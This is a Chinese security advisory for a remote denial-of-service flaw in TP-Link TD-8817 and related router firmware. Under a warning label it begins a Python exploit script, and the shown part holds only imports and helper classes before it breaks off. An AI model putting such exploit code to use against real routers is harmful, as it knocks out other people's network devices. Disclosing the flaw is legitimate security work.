受影响系统：
TP-LINK TD-8817 3.11.2.175_TC3086
描述：
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BUGTRAQ ID: 68024
TP-Link是知名的网络与通信设备供应商。
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817固件版本3.11.2.175_TC3086、T14.F7_5.0存在远程拒绝服务漏洞，攻击者可利用此漏洞造成受影响设备崩溃。
<*来源：Osanda Malith
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
class BitReader:
def __init__(self, bytes):
self._bits = collections.deque()
for byte in bytes:
byte = ord(byte)
for n in xrange(8):
self._bits.append(bool((byte >> (7-n)) & 1))
def getBit(self):
return self._bits.popleft()
def getBits(self, num):
res = 0
for i in xrange(num):
res += self.getBit() << num-1-i
return res
def getByte(self):
return self.getBits(8)
def __len__(self):
return len(self._bits)
class RingList:
def __init__(self, length):
self.__data__ = collections.deque()
self.__full__ = False
self.__max__ = length
def append(self, x):
if self.__full__:
self.__data__.popleft()
self.__data__.append(x)
if self.size() == self.__max__:
self.__full__ = True
def get(self):
return self.__data__
def size(self):
return len(self.__data__)
def maxsize(self):
return self.__max__
def __getitem__(self, n):
if n >= self.size():
return None
return self.__data__[n]
def filter_non_printable(str):
return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
def banner():
return '''
\t\t _/_/_/ _/_/_/
\t\t _/ _/ _/_/ _/